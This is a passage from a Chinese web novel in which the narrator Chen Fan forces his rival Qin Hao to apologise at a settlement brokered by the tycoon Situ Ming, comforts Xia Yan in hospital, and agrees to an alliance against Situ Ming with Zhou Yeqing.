我坐在离司徒鸣最近的位置,我神色平静,目光偶尔扫过对面的秦昊,尽管他换了一身衣服,吹干了头发,可还是稍显狼狈。
赵刚虽然跋扈,可面对司徒鸣,他收起了往日的狂放,柳媚笙则保持着优雅的坐姿,眼神流转,观察着在场的每一个人的细微表情。
气氛安静的有些诡异,这让我心里犯起了嘀咕。
司徒鸣喝完了一碗汤,他用参加擦了擦嘴,然后抬起眼,目光平和的看着我,打破了沉默道:“陈小友,今日之事,起因是秦昊行事鲁莽,冲撞了你和你身边的人,这一点,我已经严厉训斥过他!”
秦昊故意撇过头去,不看我们,他变态的自尊根本不允许他认错。
司徒鸣话锋一转,继续道:“不过,年轻人之间,有些摩擦也在所难免,打打杀杀,终究不是正道,更解决不了问题,依老夫看,此事,或许可以换个方式来解决。”
我知道,这个老狐狸终于要切入正题了,他想要解决问题,就要给出赔偿条件,不然坐在这里,就是浪费时间。
“司徒先生请讲。”我做了个请的手势,语气不卑不亢。
司徒明微微颔首,示意了一下旁边的助理,那助理立刻拿出一份文件夹,打开,开始用毫无感情的声音宣读:
“鉴于此次事件造成的损失和影响,我方提出以下补偿方案:
一、对于夏颜女士及其团队所受惊吓,秦昊先生愿意一次性支付赔偿金,人民币五千万元。
二、对于陈凡先生、柳媚笙女士在云城住所遭遇袭击所造成的损失及精神困扰,秦昊先生愿意支付赔偿金,人民币三千万元。
三、秦昊先生承诺,即刻起,其本人绝不再以任何形式,主动挑衅或侵害陈凡先生、夏颜女士、柳媚笙女士及其相关人员的任何权益。
以上款项,合计人民币八千万元,可在协议签署后一小时后,全额支付到位。”
助理念完,合上文件夹,静静的看着我。
八千万!
这个数字,对于普通人而言,无疑是天文数字,对于在场大多数人而言,也绝对是一笔巨款。司徒鸣出手,不可谓不“大方”,他用八千万,来买一个到此为止!
秦昊猛地抬起头,眼中充满了不甘和屈辱,这八千万,显然不是小数目,但他看到司徒明平静无波的眼神,又硬生生把话咽了回去。
赵刚和柳媚笙都微微动容,看向我,等待我的反应,这个条件,从表面上看,似乎很有“诚意”。
司徒鸣看着我,脸上带着一丝淡淡的笑容:“陈小友,你觉得这个方案如何?若是没有异议,我们现在就可以签署协议,冤家宜解不宜结嘛。”
包厢内所有人的目光都聚焦在我身上。
我端起面前的茶杯,轻轻晃动着龙井茶,没有立刻回答。
八千万,确实很多,但有些东西,是钱买不到的!
夏颜所遭受的惊吓和心理创伤,是八千万能抚平的吗?
秦昊处心积虑的算计,肆无忌惮的侮辱,以及他那句“要毁掉夏颜”的疯狂言论,是八千万能抵消的吗?
不能!
我放下茶杯,抬起头,看着司徒鸣那势在必得的目光,我冷静道:“司徒先生的诚意,我感受到了!”
司徒明脸上的笑容不变,等待我的下文。
“但是……”我话锋一转,声音不高,却字字清晰道:“钱,解决不了所有问题。”
我目光转向对面眼神怨毒的秦昊,语气陡然变得锐利:“夏颜现在还躺在医院里,她会不会留下后遗症,都是未知数!她的命,她的健康,是无价的!不是用钱可以衡量的!”
秦昊被我的目光刺得一缩。
我继续道:“夏颜所受的惊吓和侮辱,也不是区区五千万就能抹去的!更重要的是……”
我死死盯住秦昊,一字一句道:“我要他,秦昊,亲口承认他所做的一切!亲口向夏颜,向周大伟,向所有被他伤害的人道歉!并且,我要他保证,永远不再出现在夏颜面前!”
我的要求,超出了金钱的范畴,我要的就是秦昊彻彻底底的服软!
“你做梦!”秦昊再也忍不住,猛地站起来,他嘶吼道:“想让老子道歉?下辈子吧!陈凡,你别给脸不要脸!干爹出面调解,是看得起你!八千万你还嫌少?你……”
“坐下!”司徒鸣淡淡地开口,打断了秦昊的咆哮。
秦昊脸色涨红,他眼神愤恨,可最终还是悻悻地坐了下来。
司徒鸣这才重新看向我,脸上的笑容淡了几分,眼神也变得深沉了一些,道:“陈小友,年轻人,有血性是好事,但也要懂得审时度势,道歉……不过是一句空话,真金白银,才是实实在在的补偿,你觉得呢?”
他在施压,也在提醒我,不要不识抬举。
赵刚在一旁有些焦急,暗中给我使眼色,示意我见好就收,柳媚笙也微微蹙眉,觉得我的要求有些过于理想化,让秦昊这种人道谦,比杀了他还难。
我看着司徒鸣,没有因为他的话语而退缩,我知道,在这场博弈中,一旦在原则问题上退让,对方就会得寸进尺。
“司徒先生……”我语气依旧坚定,“有些话,不是空话,它代表着态度,如果秦昊不到钱,那么将来,类似的事情,必然还会发生。”
“我陈凡行事,向来恩怨分明,钱,我要,但道歉和保证,我也必须要!这是我的底线!”
包厢内的气氛,瞬间因为我这番毫不退让的言论,再次变得紧张起来!
司徒鸣脸上的平和终于彻底消失,他微微眯起眼睛,他不停的打量着我,他没想到,我竟然会顶撞他!
良久,司徒明忽然轻笑一声。
“好,很好。”他点了点头,手指轻轻敲击着桌面,“有底线,是好事,既然陈小友坚持……”
他顿了顿,目光转向身旁的秦昊,命令道:“秦昊,按陈小友说的,道歉!”
087为夏颜出气!
秦昊不敢置信的看着司徒鸣!
他不敢相信道歉这两个字,是从干爹的口中说出来。
在秦家,他是公子哥,在上城,他是首富司徒鸣的干儿子,无论走到哪里,他都是人前显贵的公子哥,都是别人捧着他,他哪里低过头,服过软,赔过罪。
秦昊不甘心、他可以赔钱,但他绝不可以道歉!
我眼神如刀的盯着秦昊,如果不是司徒鸣出面,现在的秦昊,应该被我打的满地找牙,秦昊也狠狠盯着我,我们谁都没有说话,时间都静止了一样!
“秦昊,道歉……”
司徒鸣的语气依旧平和,但却有着不可抗拒的威力,最终,秦昊也只能屈服。
秦昊撇过头,不屑的说了一句:“对不起……”
他的声音很小,有些含糊不清,他根本就是想蒙混过关!
“大声点!秦昊你没吃饭吗,还是觉得道歉很丢你的脸面!”我没等他话音完全落下,直接反问道。
他猛然抬起头,双眼怒狠狠地瞪着我,他看了一眼司徒鸣,深吸了一口气,然后一字一句的喊道:“对不起!行了吧!”
他的这种行为,就像是玩的起输不起的那种人,让我看不起。
包厢里再一次陷入了沉静,只剩下秦昊的喘息声,显然,他是被气到了,可是这和对夏颜造成的伤害比,算得了什么!
我看着他那副不服气的样子,心中并没有一点快意,我和秦昊的账,还没有算完!
“还有呢!”我冷冷的说道:“你要出具一份保证书,保证你不会在以任何的形式、来骚扰、挑衅、侵害、夏颜、柳媚笙、以及我身边的任何一个人!如果你敢违背,你名下的秦氏集团股份,都要自动转让给我!”
我知道,秦昊的敌人始终都是我,他为了对付我,可以无所不用其极,我让他写出这个保证书,比道歉来的更狠!
没有了秦氏集团的股份,他算个屁!
秦昊的眼神不在不可一世,他猛然看着司徒鸣,一脸的抗拒。
司徒鸣放下茶杯,看了秦昊一眼,最终还是点了点头。
我知道司徒鸣的意思,他不过就是在以大局为重,今天,秦昊要是不给我一个说法,我的人就会再一次杀进来,不死不休!
那是司徒鸣最不想看到的局面,我不知道秦昊对司徒鸣来说意味着什么,他要这样护着司徒鸣。
不过,这就是司徒鸣狡诈之处,他看似出面解决了问题,可所有的赔偿,都是秦昊负责。
看到司徒鸣的点头,秦昊那点尊严荡然无存,他在保证书上签上了自己的名字,并按下了手印。
司徒明的助理将签好的协议副本递给我,我扫了一眼,确认无误,随手交给了旁边的柳媚笙保管。
“既然误会已经澄清,条件也都谈妥了,那此时,就此结束!”司徒鸣声音清冷的说道。
“司徒先生……”赵刚忽然打断了他的话,他冷冷的说道:“秦昊在医院捅伤我儿子的事情,该怎么算?”
司徒鸣转过头看了一眼秦昊,他眉头微蹙,然后对着秦昊问道:“你自己干的事,你自己来解决!”
“两千万!”秦昊淡淡的说了句。
“混账!”赵刚突然拍了一下桌子,怒气冲冲道:“我儿子的命,难道就值2000万?”
“如果不是抢救及时,他就死了!”赵刚怒意正盛!
此时的赵刚就像是个快要爆炸的火药桶,他本来想着今天好好收拾秦昊,最好是给他弄残,可没想司徒鸣出来解决,他只能做罢!
可现在,赵刚如果拿不到赔偿,他怎会甘心!
“那你想怎么样!”秦昊问赵刚。
“不是我想怎么样,是我儿子,你要赔偿的是我儿子!”赵刚没好气道:“你当初动他的时候,就该想到后果,我们赵家,是那么好欺负的吗!”
秦昊被气的攥紧了拳头,手指头被他捏的吱吱作响!
“我会把杭城名下的一家公司,给赵刚,算作赔偿!”秦昊冷冷道:“这已经是我最大的诚意了。”
这一次,不等赵刚说话,司徒鸣开口道:“既然都已经说道这份上了,那就举起杯,敬和平!”
司徒鸣的意思很明显,就是让赵刚适可而止。
赵刚虽心中不快,但也不能和司徒鸣杠上。
于是赵刚举起了酒杯,我和柳媚笙也举起了酒杯,秦昊也缓缓端起了酒杯,然后四个酒杯碰撞在一起,今日之事,算是落下帷幕。
赵刚和柳媚笙也举起了杯。我看了一眼如同行尸走肉般的秦昊,也缓缓端起了茶杯。
今天的事,对于司徒鸣来说,是一次成功掌控局面的调解,对于我来说,则是一个阶段性的胜利,对于秦昊来说,则是对他的羞辱,他对我的仇恨,远远不会停止。
喝完了这杯酒,司徒鸣起身离开,秦昊也跟着他离开,只不过走到门口,他用一阵阴狠的眼神瞪着我,仿佛是在警告我。
赵刚带着手下也回了云城。
我和柳媚笙坐在车里,她眉头微蹙道:“你今天把秦昊逼的太狠了,他就是那种睚眦必报的人,还有司徒鸣,他今天看似公平,但实际上还是偏袒了秦昊,用钱了事,我担心……”
“我知道。”我打断她道:“秦昊不会罢休,我知道,可事已至此,没有退路,更何况,我的身后是你们,我没有办法退!”
我转过身,看向柳媚笙:“今天,谢谢你能来。”
柳媚笙微微一笑:“我们之间,不必言谢。”
“接下来,有什么打算?”柳媚笙问道。
“秦昊这边,暂时算是按住他了。有司徒明压着,他短期内不敢明着乱来,但暗地里的手段肯定不会少。”
我看着柳媚笙继续道:“我担心的是,秦昊继续在后面阴我,所以,我必须要时刻小心,那个地下的暗影组织,最好是能查清楚背后的黑手,我觉得秦昊不过就是一个棋子。”
“对了,这次的夏颜被袭击,我想要知道夏振宇有没有参与!”
“我这就去调查!”柳媚笙道。
夏振宇,如果你参与了,我一定不会饶过你!
“去医院,看夏总……”我对着司机淡淡说道。
088夏颜的温柔时刻(上)!
离开楼外楼,我第一时间就往医院赶去。
因为夏颜还在医院,我心里放心不下她。
秦昊表面签署了保证书,可谁知道,他这个老阴比私下里会做出什么事情,秦昊可不是什么守信誉的人,我不得不提防着他。
来到夏颜的病房前,我脚步放轻,我透过门前的玻璃,里面的一幕,让我微微一愣。
夏颜正在睡觉,她的呼吸均匀,秦悦坐在一旁陪着她,她轻轻掀开夏颜的被子,然后将夏颜露出的手,放了进去。
然后秦悦就安静的坐在那里,低着头,看着熟睡的夏颜,她的神情有些落寞,眼神中似乎还有一些担忧。
我轻轻推开门,走了进去。
开门声让秦悦猛然的抬头,看到是我后,她眼里的担忧一扫而光,她看了看夏颜,然后用手指做了一个嘘的手势,她起身,轻轻的拉着我走出病房。
我被秦悦拉到病房外面的走廊,她紧张的问我:“事情处理的怎么样了?司徒鸣有没有为难你?”
我微微一愣,秦悦虽然没有去听雨阁,但是那里发生的一切,她都已经知道。
还不等我的回答,秦悦的目光就在我的身上上下打量着,当她的视线看到我的袖口染着血迹,她瞳孔一缩,道:“你受伤了吗?怎么会有血?”
我看了看袖口,然后微微一笑:“不是我的,是秦昊的,他被我扔进了湖里,如果司徒鸣不来,秦昊今天非要被我弄残不可!”
“可惜啊……中途杀出了司徒鸣!”我眼神略带写不甘,相比于金钱,我更想要了秦昊的命,这种人,留着就是对我的巨大威胁。
“你没事就好,我……就放心了。”秦悦长舒一口气,她牵着我的手,然后小声对我说道:“一会儿换一身衣服,你这样,夏颜看到会担心。”
我点了点头,秦悦对我的关心让我很受用。
“她怎么样了?”我目光看向病房。
“刚睡着不久。”秦悦也看病房的方向,一脸如释重负道:“我……我跟她聊了很久,把很多以前的事情,都说开了。”
秦悦轻轻叹了一口气,她的语气里带着一丝的愧疚,道:“其实夏颜真的很不容易,当初我以为她是背叛我,可今天我才知道,是夏振宇威胁夏颜,不许她和我一起出国留学,这些年,她一直活在夏家的阴影之下,可她从来没有告诉过我。”
“作为她的闺蜜,我却埋怨她……”秦悦忽然抱住了我,略带哽咽道:“陈凡,我觉得我好愧疚……”
我微微搂着她的腰,拍着她轻声道:“夏颜原谅你了……”
“嗯……”秦悦点了点头,她说:“夏颜从来没有怪罪过我,她说我是受伤了,才会选择报复,她说我就是个小孩子脾气……爱憎分明……”
夏颜对秦悦的点评到是一阵见血,没有错,秦悦就是这种人,爱之欲其生恶之欲其死。
就是因为秦悦爱憎分明,我才会选择睡了她,因为这样的女人,才重情义。
“陈凡,我以后要对夏颜很好很好,比对你还要好!”
秦悦认真的看着我,一脸的坚定。
我微微一笑,心想:你们两个女人不闹别扭,我才开心。
“陈凡,谢谢你。如果不是你,可能我和她,永远都会是敌人,永远都不会有机会像现在这样冰释前嫌。”
秦悦眼神里的真诚是不会骗人,我看着她,微微一笑:“那要怎么报答我?”
“你想要什么?我都送给你!”
“要不要给我生个儿子?”我笑着说道。
“讨厌~没个正经样子,也不怕夏颜听到。”
以前我怕,可现在我不怕了,因为夏颜应该知道我和秦悦的事情,否则秦悦怎么可能会来陪她。
夏颜很聪明,聪明到有些事情,她一看便知,可她却从不过问,因为一旦问了,可能就意味着我们的关系出现裂痕。
“秦昊和司徒鸣是一条船上的,今天的事情,如何解决的?”秦悦问我。
“秦昊道了歉,并且签了保证协议,司徒鸣做中间人,这件事就这样结束了。”
“能让秦昊道歉,想必你也是据理力争了,这件事背后你还是要小心。”
她看着我,眼神中的担忧并未散去,反而更深了。
“陈凡,我知道你很强,很厉害,很能打,可是我也害怕你出事……”
秦悦说的话我相信,毕竟今天听雨阁确实危险的很,如果司徒鸣不来说和,而是帮助秦昊,我想我和柳媚笙还有赵刚,都会吃不了兜着走。
“不要紧,我已经猜到结果了,秦昊以后会找机会想我报复,可是他我必须要除掉,为了你,为了夏颜,也为了我自己!”
“秦昊应该会在秦家对你发难,你要有心理准备。”我说道:“或许司徒鸣也在暗中支持!”
“司徒鸣打的算盘我怎么可能不知道,他要的是整个秦家!”秦悦的眼神里露出狠厉,道:“秦家的人在怎么斗,都姓秦,不允许外人染指。”
秦悦的态度倒是让我刮目相看,她一个女人,竟然有如此胆识和眼光,我表扬道:“不愧是下一任家主,果然有大将之风!”
听到我的夸赞,秦悦微微一笑,然后她踮起脚尖,在我的唇上亲了一下。
因为是在医院,我并没有和她亲热,只是简单回应了一下。
“这些天,我就在杭城了,我想照顾一下夏颜……”
“好。”我点了点头道:“你先回去休息吧,晚上我在这里陪她。”
“嗯……”
我将秦悦送出了医院,看着她乘车离去,然后我就回到了夏颜的病房。
她在睡觉,呼吸均匀,睡姿安详,我斜靠在床边,静静的看着她,这种时间淡淡流逝,能与最爱的人在一起,我觉的也挺幸福浪漫的。
我看着夏颜的脸,她的气色明显好了许多她,脸色有了红润,也许是过于疲惫,她睡了很长的时间,直到晚上,她才睁开眼睛。
“回来了?”她微微一笑。
“嗯。”我点了点头,笑着说道:“袭击你的人,被我扔到湖里了……”
她笑了,于是眼睛红了……
“原来被护着,是这么的幸福……”
089夏颜的告白!
夏颜的话,触动了我的心。
我轻轻的将她搂在了怀里,柔声道:“我是你男人,我不护着你谁护着你?”
“嗯……”她牵着我的手,目光落在了我的脸上,她看了我好久,她有些担忧道:“我刚才做了一个很可怕的噩梦,我梦见夏振宇要将我带走,要拆散我们两个!”
“不会的,他今天就没有带走你,以后更没有机会带走你!”我摸了摸夏颜的头,道:“我们的保镖公司已经成立了,现在人手也不少,我会让手下人照顾好你的。”
“老婆,我保证,这种袭击的事情,绝对不会放生第二次!”
我坚定的看着夏颜,发生一次,我都自责不已,心疼她到不行,我怎么会让这种事情在发生一次!
“我相信你,我一直都信!”她用力握了握我的手,让我感受到她的力量,她关心的问我:“秦昊那边,都处理好了?”
“嗯,处理好了。”我反手将她的手包裹在掌心,道:“他道了歉,签了保证协议,人也被我扔进了湖里,我本想弄残他,可半路杀出来了个司徒鸣,最终赔钱了事。”
“老婆,你放心,这口恶气,我一定会替你出的,不弄残秦昊,我誓不罢休!”
夏颜摇了摇头,道:“秦昊并不可怕,真正可怕的是那个司徒鸣……他是上城的首富……”
“你知道这个人?”我问道。
“以前上大学的时候,我参加过上城的商学院,那时候,司徒鸣就是商学院的院长,他给我们亲自授课……”
夏颜往我的怀里蹭了蹭,然后靠在我的肩膀上,道:“司徒鸣白手起家,三十多岁才开始创业,不过用了20多年的时间,就成了上城的首富,你看他的手段有多厉害……”
“这些年,败在他手里的人,不计其数,被他逼死的人,也不在少数,你说,这样一个奸雄,不可怕么?”
夏颜转过头,很认真的看着我道:“我知道你心里有我,见不得我瘦一点的委屈,可是这件事,还是不要惹怒司徒鸣,我不想你受伤,我也不能没有你。”
夏颜静静的看着我,她眼里的泪光越来越多,最终汇聚成了两颗晶莹的泪珠,掉了下来。
“陈凡,这次又让你卷入到麻烦里,如果不是我,秦昊不会对你下手,你也不会得罪司徒鸣。”
“傻瓜。”我打断她的自责,伸手温柔的擦去她脸上的泪水,我语气坚定道:“你从来都不是麻烦,你是我最重要的人,守护你,是我心甘情愿的,也是我的责任。”
夏颜这个傻女人,她怎么会是我的累赘呢?
她在茫茫人海中,遇到我,把第一次给了我,让我有了被珍惜的感觉,在她有难的时候,我当然要为她遮风挡雨。
我的这句话,就像是一把火焰,瞬间点燃了夏颜心中的那团火。
她再也抑制不住自己的情绪,她坐起身子,双手紧紧的搂住我的腰,将这些天,所有的坏情绪都宣泄了出来。
我没有打断她,就是将她护在怀里,然后任由她宣泄自己的情绪,她被袭击,被夏振宇背刺,就算是在坚强的女人,也抵挡不住。
许久,夏颜才停止哭声,她抬起头,眼睛和鼻子都哭的红红的,像只可爱的小狐狸,可她的眼神却变的明亮清澈,显然是从负面情绪里走了出来。
她看着我,灿然一笑,那笑容让她整个人都散发光芒。
“老公,你知道吗?”夏颜依靠在我怀里,轻声说道:“刚才我醒来,第一眼看到你坐在这里,阳光照在你身上的时候,我心里就特别的踏实,有你在,我就心安。”
她微微仰着头,目光痴痴地看着我,然后说道:“我以前总觉得,只要自己足够强大,就能摆脱夏家,就能为自己遮风挡雨,我真的觉得感情对我来说是奢侈品。”
“可是直到遇见你,你一次次不顾一切的护着我,挡在我的身前,你总是不说你的难,可你却为我解决了所有的麻烦……”
“我才发现,原来被人这样毫无保留地保护着、珍视着,感觉是这么好,这么幸福。”
她伸出手,指尖轻轻拂过我的眉骨,沿着鼻梁,最后停留在我的嘴唇上,动作轻柔而充满爱恋。
“老公。”她凝视着我的眼睛,那双美丽的眸子里,倒映着我一个人的身影,她的声音温柔且坚定道:“我不知道未来还会有什么风雨,也不知道我们还会面对多少敌人。但是……”
她顿了顿,一字一句,清晰而坚定地说道:
“只要有你在身边,我就什么都不怕。”
“这份被人牢牢护在身后的感觉,真好。这份能安心依赖一个人的感觉,真好。”
“陈凡,我爱你,不是因为你救了我,也不是因为感激,就是很单纯地,爱上了你这个浑身是刺,却又把最柔软的地方都留给了我的人。”
“能和你并肩,能被你守护,是我夏颜这辈子,最大的幸运和幸福!”
我看着她,听着她感人至深的告白,我低下头,轻吻她的额头。
“笨蛋,我会一直在……”我温柔宠溺的说道。
我不会说多好听的话,但这一句话,就是我的承诺。
夏颜笑了,笑的神采奕奕,又恢复了往日的容颜。
夏颜虽然醒了过来,但她的头毕竟是受了撞击,现在还是会有些头疼,所以做不了剧烈的运动,我就只能搂着她。
“今晚留下来陪我,不许乱动……”夏颜在我的耳边呢喃。
“好,遵命!等你好了,在补偿给我!”
“对了,老公,你还没有穿内衣秀给我看呢,这次在杭城,你可要弥补我!”夏颜说道。
“那你想什么时候看?”我问。
“我想现在就看!”说着夏颜咯咯的笑了起来。
“现在我上哪里去给你搞内衣!”我有些为难道:“再说这是在医院,我光着膀子,穿个裤衩,在病房里走来走去,让护士瞧见了多不好。”
“那我不管!嘻嘻!反正你想办法吧,如果不满足我,以后你就别碰我了!”
嬉笑之间,我的手机响了。
我接起来电话。
“陈凡?”
电话那边响起一个清冷的女人声音,她的声音很微弱,但却威严十足。
“哪位?”我问。
“周叶青。”
我微微一愣,上城的顶级美人儿,她给我打电话做什么?
090大青衣,周叶青!
“我听说今天陈先生在杭城,做了一件很有意思的事情。”
周叶青看似调侃,却将整件事情了解的差不多,可见她的消息很灵通。
“周小姐,有事?”我直接开门见山的问道。
周叶青道:“我想和你见一面,谈一笔合作。”
“我和周小姐素昧平生,不知有什么合作可谈?”
“敌人的敌人,就是朋友。”周叶青的声音微微转冷,道:“司徒鸣,也是我的敌人,而且,是必须扳倒的敌人。”
司徒鸣的敌人!
“好。”我爽快的答应了。
“那就晚上,七点,青竹茶社!”
“好,没问题。”
周叶青的谨慎,正和我的胃口。
“是谁?”夏颜问了一句。
“周叶青。”我淡淡道。
“她?”
“你认识?”
“上城有名的俏佳人,也是一位顶级大佬,能力能量不在司徒鸣之下,她说找你做什么?”夏颜一脸兴奋的问道。
“说是谈合作,我打算去见见她。”我说道。
“好。”
于是我打电话给了秦悦,让秦悦给我安排了一
一路上,我故意将车开的很慢,我观察周围,发现并没有可疑的车辆跟踪,我才放心。
晚上七点,我准时到达周叶青所说的地点。
我推开门,一股淡雅的茶香飘进了我的鼻子,我抬眼望去,一个穿着藏青色西装套裙的女人,出现在我的面前。
惊为天人!
即便我已经领略过夏颜的明艳、柳媚笙的妖媚还有秦悦的清纯,可我在看到周叶青的那一刻,我还是忍不住惊叹。
人间绝色,妖娆入骨!
即便是柳媚笙,在她的面前也要稍逊一分。
她的美艳,近乎一种完美!
她看起来不过是二十七八的年纪,可她那双眼睛,却如同古井寒潭,让人看不到底,她淡淡的看着我,只是一眼,仿佛就能将人心看穿。
精致的五官,完美的容颜,皮肤白皙犹如羊脂玉,她站在那里,让人感觉有些清冷。
她的清冷中,带着一种冷静的掌控,看见她的气场有多强大,她的身后还站着一个男人,这个男人看起来三十岁左右,身材精悍,留着寸头。
男人长相普通,可他的一双眼睛,却如同猎鹰,他步伐沉稳,气息内敛到了极致!
这是一个顶尖的高手,他的实力,恐怕不在我之下,或者说,更强!
“陈先生,你很准时,请坐。”
周叶青淡淡的开口,她的声音已经是平稳冷静,却带着一种清冷感,就如同这茶一样,闻着清香,入口却有凉意。
“周小姐,久仰。”我微微颔首,目光平静的看着她,尽管这个女人很成功,地位崇高,可我依旧不卑不亢。
我知道,一个人的第一印象很重要,如果我唯唯诺诺,那只会让她瞧不起,女人,都不喜欢软弱的男人。
周叶青,她只是坐在那里,就会给人一种压力。她要比秦昊难对付,级别可是和司徒鸣一样的女人。
周叶青没有动茶杯,她只是看着我。
“陈先生既然来了,那我们就可以开始谈合作了。”
周叶青红唇微启,她直接切入主题,也不问我同意不同意,她的办事效率还真的是快速。
“周小姐找我来,是想和我谈什么合作?我目前的身家,好像还不够和周小姐谈的吧。”
我微微一笑,保持谦逊,我说的没有错,周叶青是上城的大佬,她的身家不可估量,我一个小小海城的小企业家,有什么资格,和她谈合作。
“没错。”周叶青直接说道:“以你的财力物力包括人脉,确实不够坐在我对面,可是,我们都有共同的敌人,司徒鸣。”
“周小姐,你和司徒鸣有仇,可我未必和他有仇。”我淡淡的说道。
“陈先生,司徒鸣这个人向来是睚眦必报,以我对司徒鸣的了解,他会像你展开报复的,只是时间早晚得问题,如果你触碰到了他利益,他会加快报复你的速度!”
“十五年前,王成勇,上城富豪排行榜上的第三名,被司徒鸣骗的倾家荡产,最后在跳楼。”
周叶青用手往天花板指了指,道:“就是这栋楼。”
“十年前,司徒鸣为了上位,成为上城的首富,不惜做局,坑害当年的首富李伟,导致李伟家破人亡。”
“那你呢?你和司徒鸣有什么仇恨?”我目光看着周叶青。
“我?”周叶青冷冷道:“那可是深仇大恨了。”
周叶青摸了摸面前的茶杯,她接着开口道:“司徒鸣之所以扶持秦昊,看中的不过是秦家的产业,一旦秦昊成为家主,那就等于秦家落入司徒鸣的手中。”
“陈先生,据我所知,你是秦悦的男友,那就注定会有一点,站到司徒鸣的对立面,所以,你还是从长远打算。”
周叶青将我的事情分析的头头是道,就算我不和她合作,都不可能了。
“所以,周小姐是想扶持我,去对付司徒明?”我立刻明白了她的意图。
“扶持?”周叶青似乎对这个词不太满意,语气带着一丝淡淡的高傲道:“我更倾向于为投资,投资一个有潜力、有胆魄,并且恰好与我的目标一致的合作伙伴。”
她顿了顿,继续道:“司徒鸣扎根上城,枝繁叶茂,单凭你一个人,想赢?难如登天。”
她的话一针见血,点出了我们目前面临的最大困境,司徒鸣就像一座大山,仅仅露出冰山一角,就让我们感到窒息。
“而我能给你的。”周叶青的声音带着一种绝对的自信,道:“是你无法想象的信息、渠道,以及在某些关键时刻,足以扭转乾坤的力量。”
这个条件,无疑极具诱惑力。
“代价呢?或者说,你想让我做什么?”我问道。
“代价就是,在你成长起来,拥有足够实力之后,你必须站在我这一边,共同扳倒司徒鸣。”周叶青回答得干脆利落。
“我现在给你一分钟的考虑时间,一分钟后,你给我结果。”
她行事风格雷厉风行,毫不拖泥带水。
“好我答应你,我该怎么配合你?”我问到。
“来上城,在司徒鸣的眼皮子底下发展!”
091上门按摩!
在司徒鸣的眼下搞事情,估计也就只有周叶青能想出来。
周叶青看着我,笑着说道:“陈凡,来上城发展吧,海城对你来说,毕竟还是太小了。”
上城,龙盘虎踞,藏龙卧虎之地,那里是司徒鸣势力的大本营,但同样,也是周叶青家族深耕多年的地盘!
“去上城?”我微微挑眉,道:“周小姐,上城可是司徒鸣的地盘,我去那里,岂不是自投罗网?”
“表面上看,确实如此。”周叶青嘴角勾起一抹自信的笑容道:“但正因为是他们的地盘,他们才会放松警惕,而且,最危险的地方,往往也最安全,机会也最多,你在海城的人脉,也不过是当地的富豪,可上城却不一样,那是仅次于上京的存在。”
“更重要的是,在上城,我可以更方便的帮助你,为你铺路,让你在最短的时间内,建立起自己的基业。”
“陈凡,虽然和司徒鸣对抗有危险,可利益也是最大的,这世上,什么利益不都是靠命来博取的吗!”
“我们合作,各取所需。”周叶青继续说道:“你借助我的力量在上城立足、发展,而我,则需要借助你的能力和无所顾忌的作风,来打破上城目前僵持的格局。”
她的话语充满了诱惑力,上城,更大的舞台,更强的对手!
如果我真的可以在上城站住脚的话,那对付秦昊,就更有底气,我说过,我一定要废了秦昊!
可同样,巨大的收益背后跟随着巨大的风险,我一步走错,便是万劫不复。
“我如何相信你?”我看着她,问出了最关键的问题。
与虎谋皮,必须谨慎。
周叶青似乎早就料到我会这么问,她从身旁拿出一个平板电脑,打开,推到我的面前。
屏幕上显示的,是一些加密的文件和照片。
“这是一部分关于秦昊通过司徒明旗下某个公司,进行非法资金转移和利益输送的证据。虽然还不完整,不足以扳倒司徒明,但足以让秦昊万劫不复,也能让司徒明惹上一身骚。”
周叶青平静地说道:“这是我的诚意,而且,我可以向你保证,在上城,只要你不触及我的底线,我会给你最大程度的自由和支持,我们要建立的,是盟友关系,而非主仆。”
周叶青给了我很大的尊重,从始至终我们都是合作关系,没有谁掌控谁的。
我看着屏幕上那些触目惊心的证据,又看了看眼前这个气质超凡、心思缜密的女子。
我有点心动了!
去上城,对我来说就是一场豪赌!
赌赢了,海阔天空!赌输了,可能尸骨无存!
但,我陈凡的人生,何尝不是在赌?
海城虽然是我的家乡,可发展太过于局限,如果一只在海城,我就会被秦昊给围困,最终吃掉。
上城虽险,却蕴含着无限可能,我现在不是为了我自己,更多的是为了夏颜、秦悦、还有柳媚笙!
一旦我输给秦昊,或者司徒鸣,这三个女人的下场将会很惨,所以我绝对不能输!
看着我在沉思,周叶青也不催促,她只是安静的拼着茶,在等待着我的决定。
“富贵险中求!”我终于抬起头,目光坚定的看向了周叶青,道:“好,我答应你!”
周叶青的脸上,露出了一个灿烂的笑容,如同晨曦破晓,光彩照人。
“合作愉快,陈凡。”她再次向我伸出手。
这一次,我没有任何犹豫,握住了她的手。
“你打算什么时候来上城?我为你接风!”周叶青笑着说道。
“尽快吧,我先将海城的事情都处理好。”
“好,那我就在上城等着你了。”
“好!”
我点了点头,然后和周叶青打了招呼,和她的保镖握了握手,离开了茶社。
送走我后,周叶青并没有离开茶社。
“白起,你觉得陈凡怎么样?”
周叶青眸子清冷,脸上的笑容也收敛起来。
那个叫白起的男人,嘿嘿一笑,道:“是个靠谱的男人。”
对于白起的回答,周叶青微微一笑,道:“那你对他的评价还挺高的,不是运气好?”
白起憨厚的笑了笑,道:“小姐,不是运气,是实力。”
周叶青抬起头,望着我离去的背影,道:“是啊,能从一个寂寂无名的小人物,到迅速的吞并冯家,在海城立足脚跟,然后又让赵刚灰头土脸,甚至逼的秦昊铩羽而归,最后还得让司徒鸣出面给秦昊擦屁股,确实不是运气能概括的。”
“希望他不要让我失望。”周叶青道。
“小姐看中的人,绝对不会错的。”白起摸着寸头,嘿嘿一笑。
周叶青把玩着手里的茶杯,露出了一个意味深长的笑容……
我从茶社出来后,深吸了一口气,和周叶青对话,确实有点压力,她的胆识和谋略,远远高于她的容貌。
更让我感到惊喜的是,她身后那个保镖,是一个人物,应该是高手中的高手,我到是希望有机会,能和这样的顶级高手过过招。
我摸了摸胸口那枚玉佩,它安静而微凉,这让我心情很舒爽,我发现,只要是我战斗的时候,它就会给我很强大的力量。
我坐进车里,第一时间就给夏颜打去了电话,我知道,她会担心我的。
“怎么样老公,周叶青找你什么事情?”夏颜问道。
“她想让我来上城发展,然后制约司徒鸣,最后在和她联手,击败司徒鸣,我已经答应了。”
电话那边是夏颜的沉默,她当然知道,我这个决定意味着什么,她也知道,我这么做的目的是什么。
“辛苦你了,老公……”
一句辛苦,就足以了。
男人这辈子,图的不就是女人和钱么!
这两样,我现在都有了!
“当初,是你将我引上这条路的,现在,我要成为你的靠山,老婆,好好看着,我会让秦昊低头,让夏家低头!”
“嗯……我信你!”
“总有一天,我会风风光光的娶你!”
“好!”
我挂上电话,并没有着急的离开,而是坐在车里抽烟。
忽然,我的手机信息来了。
